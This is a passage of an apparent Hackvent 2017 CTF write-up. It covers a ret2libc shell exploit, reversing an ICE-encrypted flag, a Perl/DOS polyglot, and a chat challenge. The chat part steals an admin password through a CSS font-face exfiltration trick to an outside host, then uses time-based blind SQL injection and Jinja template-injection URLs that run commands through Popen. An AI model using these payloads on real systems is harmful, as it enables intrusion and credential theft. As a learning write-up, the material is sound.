  remote_libc_base = remote_puts_addr - libc_puts_offset
- Then we can calculate the remote addresses of system and /bin/sh:
  remote_system_addr = remote_libc_base + libc_system_offset
  remote_binsh_addr = remote_libc_base + libc_binsh_offset
- Then we send our second exploit package:
  A*216 + 0x0000000000400803 + remote_binsh_addr + remote_system_addr
- And we have the remote terminal! Search in tamagotchis home folder to find the flag.

- FLAG: *HV17-pwn3d-t4m4g0tch3y-thr0ugh-f00d*

Day 22

frozen flag
todays flag is frozen. its quite cold in santas house at the north pole.
can you help him to unfreeze it?

- Download the executable and run it -> nothing happens
- Tried to open it with radare2 and check the strings and stuff -> really big executable, so RE will be a tough one..
- Lets play around with the exe.. When you give it any random parameter, also nothing happens..
- But when you give him the flag file as parameter, the file is changed.. Ok so it seems the first parameter gets read somehow, modified and written.
- When you give any other existing file as parameter, the HV file changes also.. -> So the output file seems to be hardcoded.
- Furthermore, the output file size is equal to the input file size. And when you have multiple times the same string as input, the output also repeats itself..! And the output is always the same, even when the file is called multiple times.
- So this could implement some cipher algorithm (most likely symmetric with static IV)
- Using PEiD and its Krypto ANALyzer plugin, we see that there is an "ICE S-Box" present
  This would also fit perfectly to the exe name and the challenge description!
- ICE (Information Concealment Engine) is a symmetric algorithm with a blocksize of 64bits
- The password has to be somewhere inside the binary, otherwise we would have to pass it to the program.. So lets have a look at the included strings (-> nothing worked) or then with radare2.
- Open the binary in r2, navigate to main (s main) and view the code (pd)
- There is some string built (8 bytes long!) -> PW = "ice-cold"
- Now i used the C API for ICE to build my decipher, there is one additional parameter (level) we have to pass. As i dont know, we try both.
- For level=0 the output is complete rubbish, with level=1, the first part seems to match, but then there is only rubbish again..
- ICE does CBC when we pass the whole frozen_flag as input, so to avoid this, lets try passing only 8 bytes per call
- FLAG: *HV17-9VmF-xULb-fRVU-pvgb-KhZo*

Day 23

only perl can parse Perl
... but there is always one more way to approach things!
(in doubt, use perl5.10+ on *nix)

- Download the perl script & execute it. It asks for a password..
- Lets look at the perl script.. Only garbage.. Seems to be packed somehow?
- To deparse the perl script use `perl -Mre=eval -MO=Deparse onlyperl.pl > deparse.pl`
- Now lets comment the last line (s//$*;/ee;) and add print "$*" instead to see what is going to be executed
- You get the main function
  ```
  print("Password:\n");@a=unpack("C*",$,);@b=unpack("C*",$X);@c=unpack("C*",scalar
  <>);print(chr(($b[$_]-$a[$_]+$c[$_%8]+0x100)&0xFF)) for(0..$#b);print "\nDecryption done, are you happy
  now?\n";
  ```
- Now lets take a look at a, b and c. c seems to be the user input (password), a and b are some arrays and the function "decrypts" it using a, b and c.
  So when we assume to find the flag here, the first 5 bytes should be HV17- afterwards..
- The index for c is taken modulo 8, so the password will be 8 characters.
- The first 5 password characters can easily be retrieved by writing an own loop:
  ```
  @flag = unpack("C*", "HV17-");
  ```

```
print( chr(($flag[$_]-$b[$_]+$a[$_]+0x100)&0xFF)) for (0..$#flag);
```

- Now it gets more complicated as you do not have any more values to search for..
  what coul polyg... mean? Lets do a quick google search..
  polygamie, polygon, polyglot
  The third one means that something has different meanings. Fits very good to the challenge that "not only perl can parse Perl"
  Otherwise you could do a dictionary brote force or try it char by char..
  Password: p0lyglot
- Ok, only a fake flag.. But another hint "Microsoft's ye old shell"
  This could be DOS?
- We cannot execute onlyperl.pl in dosbox.. Also windows cmd.exe and Powershell will not execute it.
  You can start it on windows with perl, but get the same output..
- Lets search for other executables that do not require a special header
  MS-DOS binary .COM!
- Rename the file to onlyperl.com and try again with dosbox
- Now we get a command prompt! Enter the perl password again and you are prompted for a DOS code.. What could this be?
- I dont want to RE the DOS binary, so lets start "guessing". Input different characters and lengths
- With DOS code of length 5 there is an output! However, this seems to be real cryptic..
- When entering AAAAA, the output already looks almost like a flag!
- Now lets try to guess the password. Lets change it character by character..
  i. character
     A produces Z, B produces Y, C produces X, we want to have an H here, so we have to use S
  ii. character
     A -> #, B -> Space, C -> !, D -> &, 1 -> S, so lets try 4 here to get a V
  iii. character
     A -> ?, B -> ?, 1 -> n, 2 -> m, a -> >, b -> =, so lets use n here to get 1
  iv. character
     (So far we have S4n.. and 5 characters in total, so it will be SANTA :D)
     A -> A, T -> T, 1:1 mapping? We use 7 to get 7 here
  v. character
     A -> - so we already have it :)
- DOS code: S4n7A
- FLAG: *HV17-Ovze-IUGF-W2xs-x2uE-pVRU*

Day 24

Day 24: Chatterbox
... likes to talk
I love to chat secure and private.
For this I mostly use http://challenges.hackvent.hacking-lab.com:1087.
It's easy to create a private chat and start chatting without a registration.
Hint #1: the admin is a lazy clicker boy and only likes
Hint #2: As a passionate designer, the admin loves different fonts.
Hint #3: For step 2: I'd better be my own CA.
Hint #4: For step 2: It's all about the state
Hint #5: For step 3: python programmers don't need {{ ninjas }}

- Go to the chatterbox and explore what you can do
- To create a private chat, you can upload a CSS file
- You can also send feedback to the admin and the site says "I love to chat with you in private". Together with the hint "the admin is a lazy clicker boy and only likes " we can assume that he can somehow join your private chat.

- So we create a new private chat and send the admin a feedback including an a href to our chat. -> But we see nothing in the private chat.
- Ok, lets play with the CSS. I added a background-image:url('hookbin') to see if someone is joining the chat and yes, there is a request (this is the admin), but no cookies or any other parameters included..
- Next idea was to inject some JS into the CSS file so we could steal the admin cookie but everything i tried did not work and the JS was not executed..
- Next hint appeared: "As a passionate designer, the admin loves different fonts."
  Ok, so we should use the CSS together with fonts
- We have to craft a font-face attack, this means we build a CSS that has a different font for each character and this font is external (e.g. hookbin), so for every character that is rendered, we get a request (only once per char). We could steal his password!
- The requests made to hookbin are: C h r i s t m a 2 0 1 7
  As we only get each character once, the password is Christmas2017
- **STAGE2**: Now we are on the admin page and have different tools available
- This could mean we have to do some command injection, to get our code executed?
- There are two hints for us: "I'd better be my own CA" & "It's all about the state"
- OK, when requesting a certificate (CSR) we can enter a State there. So lets see whethere there is some injection possible.
- With my script we see that backslash and single quotes produce an error. The backslash will most likely escape something inside the CSR, but why the single quotes?
- When the admin buils his own CA, he might save all CSRs to a database, so the single quotes could lead us to an SQL injection? However, we dont get data back, so it could be a blind injection..
- When entering State=CA' + SLEEP(2) + ', the request takes about 2.1s and still returns a valid certificate, so yes, we could do a time-based blind injection here
- With the script doing the injection we find a database hv24_2 with two tables certificates and keystorage. The table keystorage has only one column called private_key which has only one row. This is the link to stage 3! (You have to probe in BINARY mode or you wont get the case sensitive password!)
- **STAGE3**: We see a small webshop with three articles
- I dont know how anyone could come up with an attack here without the given hint..
  Hint: "python programmers don't need {{ ninjas }}"
- If you search on google for python {{ ninjas }} you will find the python jinja template engine. This looks right for a webshop, doesnt it?
- After some more googling there are several exploit tutorials. First, we need to find a point where we could inject our payload.
- When accessing a path that doesnt exist, the URL is copied directly to the website. So this is a good point :)
- Try http://challenges.hackvent.hacking-lab.com:1089/a%7B%7B%20''.__class__.__mro__[1].__subclasses__()%20%7D%7D
  and you get all what you need. There is Popen!
- Lets count the offset of Popen. Its 37
- http://challenges.hackvent.hacking-lab.com:1089/a%7B%7B%20''.__class__.__mro__[1].__subclasses__()[37](['ls','-la']).communicate()%20%7D%7D
  This only returns (None, None) ? OK, this stands for the tuple (stdin, stdout).
  So we have to redirect the stdout first.
- Using stdout=subprocess.PIPE doesnt work (I guess, subprocess isnt known)..
- Bascially you can enter an integer here (file descriptor) or these special values..
  Doing a import subproces & print subprocess.PIPE locally in python reveals -1
  -> So subprocess.PIPE is only a name for -1! That means we can do stdout=-1
- http://challenges.hackvent.hacking-lab.com:1089/a%7B%7B%20''.__class__.__mro__[1].__subclasses__()[37](['ls','-la'],stdout=-1).communicate()%20%7D%7D
  This gives us the directory listing
- http://challenges.hackvent.hacking-lab.com:1089/a%7B%7B%20''.__class__.__mro__[1].__subclasses__()[37](['cat','/home/flag'],stdout=-1).communicate()%20%7D%7D

- FLAG: *HV17-7h1s-1sju-t4ra-nd0m-flag*

Hidden 1

- The website has a page for each day. URL parameter day=x
- Enter number e.g. 2000 reveals resource #-16
- Use day=1984 to access resource #0
- Flag is hidden in the HTTP response headers (you could use Firefox Tools > Web Developer > Network) to see it
- FLAG: *HV17-4llw-aysL-00ki-nTh3-H34d*

Hidden 2

- When you download and just boot up the PS3 game in the emulator for Day 18, the flag is visible on the screen.
- FLAG: *HV17-Ju5t-s0me-fak3-FlaG-4y0u*

Hidden 3

- Got a hint to look at the website from another perspective
- What are there? machines? crawlers?
- Check .htaccess file -> not there
- Check sitemap.xml -> not there
- Check robots.txt -> yay
  We are people, not machines
- OK? Search this in Google
- There seems to be something like a humans.txt so lets get this
- FLAG: *HV17-bz7q-zrfD-XnGz-fQos-wr2A*

Hidden 4

- Check whats available from the web server (files/folders)
  Just see whats loaded from where and check if you can access
- Find two open folders /css and /img/icon
- Analyze whats in those folders.. Find strange /css/egg.png
- Decode QR code with any app
- FLAG: *HE17-W3ll-T00E-arly-forT-his!*

Hidden 5

- Got a hint that its not on the webserver
- Tried to nmap the server to find other open ports

  ```
  PORT     STATE SERVICE
  22/tcp   open  ssh
  53/tcp   open  domain
  80/tcp   open  http
  443/tcp  open  https
  3128/tcp open  squid-http
  8080/tcp open  http-proxy
  ```

- Did some test on them, but found nothing..
- Tried to dnsmap the server, but found nothing..
- But wait, the challenge on day 6 was hosted on another subdomain!

- Lets nmap challenges.hackvent.hacking-lab.com

```
PORT     STATE SERVICE
22/tcp   open  ssh
23/tcp   open  telnet
53/tcp   open  domain
3128/tcp open  squid-http
8080/tcp open  http-proxy
```

- Theres a telnet! Lets look at this with netcat
- Santa is taling to you and at the end there is something but way too fast..
- Lets store the output data and look at it
- Flag is shown at the end (but without HV)
- FLAG: *HV17-UH4X-PPLE-ANND-IH4X-T1ME*